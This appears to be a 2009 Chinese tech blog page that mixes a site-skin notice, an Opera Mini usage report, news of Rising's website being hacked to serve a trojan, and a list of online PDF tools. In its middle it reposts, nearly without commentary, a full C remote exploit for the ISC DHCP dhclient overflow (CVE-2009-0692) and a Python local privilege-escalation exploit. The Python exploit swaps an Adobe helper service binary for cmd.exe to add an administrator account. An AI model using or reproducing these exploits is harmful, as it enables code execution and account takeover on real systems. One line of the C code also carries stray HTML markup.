之前用的皮肤是威言威语设计的,因为看重它的web2.0元素和清爽的界面用了半年之久。前天到论坛上逛的时候发现了这一款皮肤,看着更加清爽,拿回来自己做了一些修改之后就放上来了。这里要特别感谢Alzn兄弟的大力支持,在皮肤修改上帮了很多忙。现在就差一个新Logo了,正在让另一个兄弟帮忙设计,过几天就能放上来了。如果大家有什么意见或者测试到bug请及时反馈哦。
经常来的朋友应该已经注意到秋天对评论和留言的回复方式已经换用"@+评论用户名+评论回复内容"的格式,效仿了世纪之光。出于安全的考虑,回复评论的账号并不是管理员账号,因此不能直接在原评论上直接回复而需要采用追加新评论的方式来完场回复,还请各位谅解。
===========2009.8.1更新=================
经过大家的测试,已修正新皮肤如下问题:
1,IE6下侧边栏下沉;
2,页脚cnzz统计代码不能居中。
当前已通过测试浏览器:safari4.0,firefox中国版3.0.12,Opera10.00 Beta 2,IE6、IE7。
已知问题:
在IE8下,UBBCode_IE.js脚本执行错误,主要存在于评论和留言的内容输入框内。此问题估计需要升级UBB代码版本。
在此感谢大家的积极反馈,我会努力做到最好!
博客换新皮,采用新的评论&留言回复方式
迅雷&快车&旋风地址转换工具下载
Opera发布Opera Mini使用状况报告
最近Opera公司根据其Opera Mini服务器上所得到的数据发布了一份移动互联网状况报告,按照这份报告中的说法,今年6月份共有2650万名用户浏览了超过104亿个网页,用户数量比去年同期上升了143%,而浏览网页的数量则出现了224%的增长。
在移动设备上,Opera是最广泛使用的一种浏览器,有超过4000万部市售手机均内置有这款浏览器,下面我们就来看看哪个国家的用户以及哪些手机最多使用Oprea软件。
6月份使用Oprea Mini最多,排行前十的地区是俄罗斯,印尼,印度,中国,乌克兰,南非,美国,英国,波兰以及尼日利亚。
在世界范围内,诺基亚与索爱的手机是最多使用Oprea浏览器的机型,其中使用Opera Mini最多的手机是诺基亚6300,这款手机属于2G手机,在俄罗斯,印尼以及乌克兰地区销量第一。不过以下地区使用Opera Mini最多的手机机机型并不是诺基亚/索爱机型,它们分别是美国地区的黑莓Curve8330,英国的LG Renoir,南非的三星E350。
在诺基亚手机上,Oprea Mini用户浏览最多的站点是谷歌和Facbook,不过在印尼人们更偏爱雅虎,而俄罗斯和乌克兰用户则更多浏览Yandex和Vkontakte站点。
文章来源:cnbeta
这篇文章说的真是一点都没错,本人的6300就一直装的Opera Mini。前一段时间Opera Mini出现不能联网的情况,而且重新下载也不能正常联网完成安装。被迫用了一段时间的UCWEB,作为国产的手机浏览器,在技术和人性化上设计还是不错的,只是对于网页结构的分析仍然不是很到位。直到前天(上周日)Opera Mini才恢复正常,可以重新安装。最喜欢它的页面缩放和虚拟鼠标功能,采用页面压缩技术将一张网页缩放成手机满屏大小,上面有一个虚拟鼠标,用手机方向键就可以移动它,移动到想要浏览的区域再放大浏览网页内容。这样可以有效节省流量和用户的操作时间。
瑞星承认服务器被攻陷并被黑客“挂马”
7月27号中午,某安全中心对外发布安全预警,瑞星官方网站被黑客“挂马”。三个多小时后,瑞星官方公告称:瑞星网站服务器确遭黑客团伙攻陷,并被植入了木马。
新闻链接:瑞星官网被黑客植入木马,浏览者或遭盗号
据监控数据显示,瑞星官网部分网页于7月25日凌晨起就被黑客“挂马”(链接:hxxp://tool.ikaka.com/Noticeinfo/yahoo.shtml),“挂马”时间超过60小时。攻击目标包括微软尚未提供补丁的Office0day漏洞以及FireFox3.5版漏洞等多个漏洞。部分用户浏览瑞星网站页面后,电脑被自动下载运行“机器狗”木马变种,该木马能破坏杀毒软件并穿透系统还原,使用户的网游、网银账号和个人隐私面临极大的失窃风险。

据安全专家分析,此次黑客攻击主要是通过瑞星网站的WEB漏洞入侵。从瑞星官网的“挂马形式”来看,黑客很可能已经获得了该网站的高级权限,并能随意在网页中添加恶意代码。经测试,包括360安全卫士、金山网盾、卡巴斯基、畅游巡警等在内的多款安全软件均对瑞星官网“挂马”页面实施了拦截。
上文中提及的地址现已可正常访问。
27号瑞星的公告:
瑞星声明:警告黑客团伙停止作恶 卡卡网可以正常访问
来源:瑞星公司 时间:2009-07-27 17:07:31
7月27日中午,瑞星“云安全”系统成功截获黑客团伙向“瑞星卡卡”网站植入木马,瑞星随即对网站服务器进行修复和整理,目前卡卡网可以正常访问。被挂马网页位于瑞星卡卡网(www.ikaka.com),访问人群多为瑞星用户,因为瑞星软件完全能够拦截这起挂马攻击行为,并阻止木马病毒的下载,请广大用户无须恐慌。
瑞星工程师认为,这是一起明显的黑客团伙恶意报复行为,由于瑞星“云安全”系统能够全面监控并拦截挂马网站攻击,被断了财路的黑客团伙一直在攻击瑞星网站。自7月初以来,某黑客团伙利用位于118.123.11.29(代理地址)的服务器对瑞星网站进行不间断的扫描,寻找攻击入口。

瑞星已将相关资料上报公安部门,并警告该团伙悬崖勒马,停止对瑞星以及其它网站的攻击。
瑞星互联网攻防实验室将该黑客组织命名为“X团伙”,自6月份开始,瑞星工程师与“X团伙”进行过多轮交手,先后通过卡卡社区公布过三个被该团伙侵入的网站分析日志,帮助数十个网站管理员弥补漏洞,防范此类攻击。并且,瑞星工程师还通过“云安全”系统,对“X团伙”的攻击信息随时进行密切跟踪,随时把其使用的代理服务器IP及挂马地址加入到黑名单,这样即使其攻陷了一些网站植入病毒,用户访问这些网站时杀毒软件也会进行拦截,完全可以确保用户不会中毒。
根据瑞星“云安全”系统数据,“X团伙”进入7月份以来,已经攻击了200多个网站,以政府网站、高校网站和娱乐网站为主,受害用户甚至包括某省政府门户网站、检察院网站及公安网站。该团伙通常会先利用傀儡服务器对被害网站进行嗅探、扫描和渗透,然后利用SQL注入获取服务器权限,再把挂马网站地址嵌入到网页中,这样当用户访问受害网站时,就会被木马程序侵入。
仅7月21日当天,该团伙就先后使用了59.54.54.92和118.123.11.29两个IP地址的服务器进行攻击,前者甚至是位于江西九江电信IDC机房的服务器,通常这种服务器运算能力强,而且IDC机房的带宽也大,攻击能力强悍。通过大量的扫描和嗅探,该团伙终于在卡卡网站一个访问量较小的网页频道上找到了薄弱点,对其进行了注入攻击。幸好由于发现及时,而且瑞星杀毒软件已经能够拦截嵌入的恶意网址,从而使得此次攻击并未影响太多普通用户。
目前,瑞星公司已经掌握了大量的证据,包括该团伙使用的服务器地址、IP、攻击过的网站列表,受害用户的数量等,并已经把这些数据上报给了公安部门。等待该团伙的,必将是覆灭的下场。
后记:

在我实际手动输入瑞星公告中的地址时,显示403错误,禁止访问,估计瑞星屏蔽了很多IP。
ISC DHCP dhclient < 3.1.2p1 远程缓冲区溢出漏洞
ISC DHCP dhclient < 3.1.2p1 Remote Buffer Overflow PoC
ISC DHCP是一款开源的DHCP服务实现。
ISC DHCP服务器不正确处理DHCP请求,远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。
程序代码* cve-2009-0692.c
*
* ISC DHCP dhclient < 3.1.2p1 Remote Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0692
*
* Stack-based buffer overflow in the script_write_params method in
* client/dhclient.c in ISC DHCP dhclient 4.1 before 4.1.0p1, 4.0 before
* 4.0.1p1, 3.1 before 3.1.2p1, 3.0, and 2.0 allows remote DHCP servers to
* execute arbitrary code via a crafted subnet-mask option.
*
* Usage:
*
* $ gcc cve-2009-0692.c -o cve-2009-0692 -lpcap -ldnet
* $ sudo ./cve-2009-0692
* [+] listening on eth0: ip and udp and src port 68 and dst port 67
* [+] snarfed DHCP request from 00:19:d1:90:e5:4a with xid 0×120f8920
* [+] sending malicious DHCP response to 00:19:d1:90:e5:4a with xid 0×120f8920
*
* $ gdb /sbin/dhclient
* …
* DHCPREQUEST on eth0 to 255.255.255.255 port 67
* DHCPACK from 0.6.9.2
* …
* Program received signal SIGSEGV, Segmentation fault.
* 0×41414141 in ?? ()
*
* Notes:
*
* Only tested with dhclient 3.1.2 on 32-bit Gentoo / GCC 4.3.3. Feel free
* to tweak for your target platform. Depends on libdnet and libpcap.
*
* READABLE_1 and READABLE_2 need to be readable addresses as we fix up the
* stack during our overflow. After a successful return from the vulnerable
* script_write_params function, EIP will be set to JMP_TARGET.
*
* Exclusively for use at DEFCON next week. ;-)
*/
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <dnet.h>
#include <pcap.h>
#define READABLE_1 "\xa8\xfc\x0b\x08" /* for es.client */
#define READABLE_2 "\xbc\x34\x0a\x08" /* for es.prefix */
#define JMP_TARGET "\x41\x41\x41\x41"
#define BPF_FILTER "ip and udp and src port 68 and dst port 67"
#define PKT_BUFSIZ 1514
#define DHCP_OP_REQUEST 1
#define DHCP_OP_REPLY 2
#define DHCP_TYPE_REQUEST 3
#define DHCP_TYPE_ACK 5
#define DHCP_OPT_REQIP 50
#define DHCP_OPT_MSGTYPE 53
#define DHCP_OPT_END 255
#define DHCP_CHADDR_LEN 16
#define SERVERNAME_LEN 64
#define BOOTFILE_LEN 128
#define DHCP_HDR_LEN 240
#define DHCP_OPT_HDR_LEN 2
#ifndef __GNUC__
# define __attribute__(x)
# pragma pack(1)
#endif
struct dhcp_hdr {
uint8_t op;
uint8_t hwtype;
uint8_t hwlen;
uint8_t hwopcount;
uint32_t xid;
uint16_t secs;
uint16_t flags;
uint32_t ciaddr;
uint32_t yiaddr;
uint32_t siaddr;
uint32_t giaddr;
uint8_t chaddr[DHCP_CHADDR_LEN];
uint8_t servername[SERVERNAME_LEN];
uint8_t bootfile[BOOTFILE_LEN];
uint32_t cookie;
} __attribute__((__packed__));
struct dhcp_opt {
uint8_t opt;
uint8_t len;
} __attribute__((__packed__));
#ifndef __GNUC__
# pragma pack()
#endif
void
process(u_char *data, const struct pcap_pkthdr *pkthdr, const u_char *pkt)
{
eth_t *raw;
struct ip_hdr *ip_h;
struct eth_hdr *eth_h;
struct udp_hdr *udp_h;
struct dhcp_hdr *dhcp_h;
struct dhcp_opt *dhcp_opt;
char *dev = data, *ptr;
char pktbuf[PKT_BUFSIZ], options[PKT_BUFSIZ], payload[PKT_BUFSIZ];
int opt_len, clen = pkthdr->caplen;
uint8_t msg_type = 0, payload_len = 0;
uint32_t yiaddr = 0;
/* packet too short */
if (clen < ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + DHCP_OPT_HDR_LEN) {
return;
}
eth_h = (struct eth_hdr *) pkt;
ip_h = (struct ip_hdr *) ((char *) eth_h + ETH_HDR_LEN);
udp_h = (struct udp_hdr *) ((char *) ip_h + IP_HDR_LEN);
dhcp_h = (struct dhcp_hdr *) ((char *) udp_h + UDP_HDR_LEN);
dhcp_opt = (struct dhcp_opt *) ((char *) dhcp_h + DHCP_HDR_LEN);
/* only care about REQUEST opcodes */
if (dhcp_h->op != DHCP_OP_REQUEST) {
return;
}
/* parse DHCP options */
while (1) {
if (dhcp_opt->opt == DHCP_OPT_MSGTYPE) {
if (dhcp_opt->len != 1) {
return;
}
memcpy(&msg_type, (char *) dhcp_opt + DHCP_OPT_HDR_LEN, dhcp_opt->len);
}
if (dhcp_opt->opt == DHCP_OPT_REQIP) {
if (dhcp_opt->len != 4) {
return;
}
memcpy(&yiaddr, (char *) dhcp_opt + DHCP_OPT_HDR_LEN, dhcp_opt->len);
}
if (dhcp_opt->opt == DHCP_OPT_END) {
break;
}
if (((char *) dhcp_opt - (char *) pkt) + DHCP_OPT_HDR_LEN + dhcp_opt->len > clen) {
break;
}
dhcp_opt = (struct dhcp_opt *) ((char *) dhcp_opt + DHCP_OPT_HDR_LEN + dhcp_opt->len);
}
/* only care about REQUEST msg types */
if (msg_type != DHCP_TYPE_REQUEST) {
return;
}
printf("[+] snarfed DHCP request from %s with xid 0x%08x\n", eth_ntoa(ð_h->eth_src), dhcp_h->xid);
printf("[+] sending malicious DHCP response to %s with xid 0x%08x\n\n", eth_ntoa(ð_h->eth_src) tyle="color:#0000ff">, dhcp_h->xid);
/* construct stack payload */
memset(payload, 0, sizeof(payload));
ptr = payload;
memset(ptr, 0, 16);
ptr += 16;
memcpy(ptr, READABLE_1, 4);
ptr += 4;
memcpy(ptr, READABLE_2, 4);
ptr += 4;
memset(ptr, 0, 8);
ptr += 8;
memcpy(ptr, "\x04\x00\x00\x00", 4);
ptr += 4;
memset(ptr, 0, 28);
ptr += 28;
memcpy(ptr, JMP_TARGET, 4);
ptr += 4;
payload_len = ptr - payload;
/* dhcp header */
dhcp_h->op = DHCP_OP_REPLY;
memcpy(&dhcp_h->yiaddr, &yiaddr, 4);
/* normal dhcp options */
memset(options, 0, sizeof(options));
ptr = options;
memcpy(ptr, "\x35\x01\x05", 3);
ptr += 3;
memcpy(ptr, "\x36\x04\x00\x06\x09\x02", 6);
ptr += 6;
memcpy(ptr, "\x33\x04\x00\x09\x3a\x80", 6);
ptr += 6;
memcpy(ptr, "\x03\x04\x00\x06\x09\x02", 6);
ptr += 6;
memcpy(ptr, "\x06\x04\x00\x06\x09\x02", 6);
ptr += 6;
/* malicious subnet mask option */
memcpy(ptr, "\x01", 1);
ptr += 1;
memcpy(ptr, &payload_len, 1);
ptr += 1;
memcpy(ptr, payload, payload_len);
ptr += payload_len;
memcpy(ptr, "\xff", 1);
ptr += 1;
opt_len = ptr - options;
/* construct full packet payload */
memset(pktbuf, 0, sizeof(pktbuf));
ptr = pktbuf;
eth_pack_hdr(ptr, ETH_ADDR_BROADCAST, "\xc1\x1e\x20\x09\x06\x92", ETH_TYPE_IP);
ptr += ETH_HDR_LEN;
ip_pack_hdr(ptr, 0, IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len, 0×0692, IP_DF, 64, IP_PROTO_UDP, 34145792, IP_ADDR_BROADCAST);
ptr += IP_HDR_LEN;
udp_pack_hdr(ptr, 67, 68, UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
ptr += UDP_HDR_LEN;
memcpy(ptr, dhcp_h, DHCP_HDR_LEN);
ptr += DHCP_HDR_LEN;
memcpy(ptr, options, opt_len);
ptr += opt_len;
ip_checksum(pktbuf + ETH_HDR_LEN, IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
/* fire off malicious response */
raw = eth_open(dev);
if (!raw) {
fprintf(stderr, "[-] error opening raw socket on %s\n", dev);
exit(1);
}
eth_send(raw, pktbuf, ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
eth_close(raw);
}
void
usage(char **argv)
{
fprintf(stderr, "usage: %s [-i interface]\n", argv[0]);
exit(1);
}
int
main(int argc, char **argv)
{
int ch, ret;
char *dev = NULL;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program bfp;
pcap_t *ph;
opterr
while ((ch = getopt(argc, argv, "i:")) != -1) {
switch (ch) {
case 'i':
dev = optarg;
break;
default:
usage(argv);
}
}
if (!dev) {
dev = pcap_lookupdev(errbuf);
if (!dev) {
fprintf(stderr, "[-] couldn't find default interface: %s\n", errbuf);
exit(1);
}
}
ph = pcap_open_live(dev, PKT_BUFSIZ, 1, 1, errbuf);
if (!ph) {
fprintf(stderr, "[-] couldn't open interface %s: %s\n", dev, errbuf);
exit(1);
}
ret = pcap_compile(ph, &bfp, BPF_FILTER, 1, 0);
if (ret == -1) {
fprintf(stderr, "[-] couldn't parse BPF filter: %s\n", pcap_geterr(ph));
exit(1);
}
pcap_setfilter(ph, &bfp);
if (ret == -1) {
fprintf(stderr, "[-] couldn't set BPF filter: %s\n", pcap_geterr(ph));
exit(1);
}
printf("[+] listening on %s: %s\n", dev, BPF_FILTER);
pcap_loop(ph, -1, process, dev);
return 0;
}
// milw0rm.com [2009-07-27]
Adobe相关服务(getPlus_HelperSvc.exe)本地提权漏洞
描述:
Adobe下载者(此处指downloader文件)用来下载为Adobe应用程序下载更新
在Acrobat Reader9.x下测试
可执行文件可以被系统内置用户以提升为“完全控制”的系统权限来安装,任何用户都可以替换改文件来达到自己的目的。在系统重启后它将以"SYSTEM"权限运行。
description:
Adobe downloader used to download updates for Adobe applications.
Shipped with Acrobat Reader 9.x
poc:
C:\>sc qc "getPlus(R) Helper"
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: getPlus(R) Helper
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Programmi\NOS\bin\getPlus_HelperSvc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : getPlus(R) Helper
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem
C:\>cacls "C:\Programmi\NOS\bin\getPlus_HelperSvc.exe"
C:\Programmi\NOS\bin\getPlus_HelperSvc.exe BUILTIN\Users:F <————– [!!!]
NT AUTHORITY\SYSTEM:F
The executable file is installed with improper permissions, with "full
control" for Builtin Users; a simple user can replace it with a binary of
choice.
At the next reboot it will run with SYSTEM privileges.
昨天Milw0rm上刚刚给出了Python的利用代码,内容如下:
程序代码#!/usr/bin/env python
##################################################################################
#
# Adobe Acrobat v9.1.2 Local Privilege Escalation Exploit
# Coded By: Dr_IDE
# Discovered by: Nine:Situations:Group
# Tested On: Windows XP SP2, Requires NOS Package Installed
# Usage: python Dr_IDE-Adobe_912.py
#
##################################################################################
import os, subprocess
#
# Should probably have a try block around this as not every install
# of 9.1.2 has the NOS package on it. This is a little touchy so you may have to
# play around with it.
#
# This is a super lame way to do this but it makes it more educational.
evil = "echo *************************************************************\n"
evil += "echo *\n"
evil += "echo * Adobe Acrobat v9.1.2 Local Privilege Escalation Exploit\n"
evil += "echo * Coded By: Dr_IDE\n"
evil += "echo * Discovered By: Nine:Situations:Group\n"
evil += "echo * Tested On: Windows XP SP2\n"
evil += "echo *\n"
evil += "echo *************************************************************\n"
evil += "echo This will add user Dr_IDE:password to the Admin Group\n"
evil += "cd C:\\Program Files\\NOS\\bin\n"
evil += "copy /Y GetPlus_HelperSvc.exe GetPlus_HelperSvc.old\n"
evil += "copy /Y %systemroot%\\system32\\cmd.exe\n"
evil += "GetPlus_HelperSvc.exe /C net user Dr_IDE password /ADD\n"
evil += "GetPlus_HelperSvc.exe /C net localgroup administrators Dr_IDE /ADD\n"
evil += "GetPlus_HelperSvc.exe /C net user Dr_IDE\n"
evil += "exit"
f1 = open('Dr_IDE-Adobe.bat','w');
f1.write(evil);
f1.close();
# Here are two ways to execute this exploit. If you leave both commented just the batch file is created.
# Silent Way – This should be more stealthy
#retval = subprocess.call("Dr_IDE-Adobe.bat");
# Louder Way – On some systems this will probably open a DOS window
#retval = os.system("Dr_IDE-Adobe.bat");
# milw0rm.com [2009-07-27]
在线PDF阅读&编辑网站一览
pdf作为一种非常流行的跨平台的文档格式,现已成为数字化信息事实上的一个工业标准。不过如果有时候你临时要阅读或者处理pdf而又不想下载安装庞大的应用程序,拥有以下在线工具可以完全应付。
PDF在线阅读类:
1,PdfMeNot
一个在线PDF阅读和分享服务的网站。打开网站后,要阅读的PDF文件可以在网络上或是从本机上传。它还提供了放大(缩小)、翻页等基本操作方式方便读者阅读。PdfMeNot还为每个PDF文件提供了一个URL地址和一段JS代码,方便你与别人分享。

2,Issuu
同样也是一个视觉效果较好的在线PDF电子书阅读和分享服务网站,能够将简单的 PDF电子书转换为可平滑翻页的电子杂志。打开网站后先注册一个账号,然后点击“Upload documents”按照提示上传PDF文档,上传完成后检查你的邮箱,点击“Open document”即可打开查看了。同样地Issuu会为你上传的PDF电子书提供一个单独的URL地址以及一段供嵌入外部网页的HTML代码,让你能够方便地与别人分享文件。
3,利用搜索引擎提供的转换功能。如利用百度、Google等搜索引擎搜索pdf类型的文件,那么它就可以将之转换为html格式的网页方便在线阅读。

PDF在线编辑、转换类:
1,PDFescape
支持在线标注和编辑 PDF 文件,只支持小于 2MB 并少于 50 页的 PDF 文件。AJAX 技术,载入很快。只能打开并编辑本地或网络上的 PDF 文件,不能直接从空白 PDF 文件开始创建。

2,PDF SEARCH
搜索包括pdf在内的多种格式的免费文档,无须安装pdf阅读器即可实现在线阅读,提供pdf转text的服务。


3,PDF Hammer
PDF 在线合并器。可合并多个 PDF ;可以调整某个 PDF 的任意一页到任意位置;不同的文件可用不同的颜色标记,而且原来的页数和调整后的页数都会显示;可进行文档加密;界面相当友好。
除了这些功能,该网站还提供PDF在线转换为Word;PDF在线转换为Excel;能将超过300种不同类型文件(该网站宣称数量)转换为PDF的免费工具PrimoPDF下载;如果你不愿意下载这个工具那么没关系,它一样有在线版:PrimoPDF Online,支持将本地上传的文件或者任意URL地址包含的网页在线转换为PDF。

4,On-line PDF form Filler
一个在线 PDF 填表工具。用来对付 PDF 调查表之类的。当成一个临时的 PDF 阅读器也行。就是翻页的时候要从服务器重新传送数据,比较费时。
5,htm2pdf
把网页转换成 PDF,可以包含 FLSAH 动画,保持链接的可点击。只是测试时网站不太稳定,连续三次测试我的博客,都显示Conversion failed – please try again。

6,RSS 2 PDF
这个服务出来的时候,很多人都报道了,把 RSS 烧成 PDF 文件。可惜测试的时候也是频频出错,不能正常使用。

7,Vector Magic
关注互联网服务的朋友一定不陌生这个牛X的在线程序,它用来把图片变成矢量格式,而且提供转换后的 PDF 下载,也算是一个特殊的 PDF 工具。

8,PDF Converter
该网站也支持从本地上传文件(支持67种文件格式)转换为PDF,网页转换为PDF,PDF转换为Word&Excel文档。


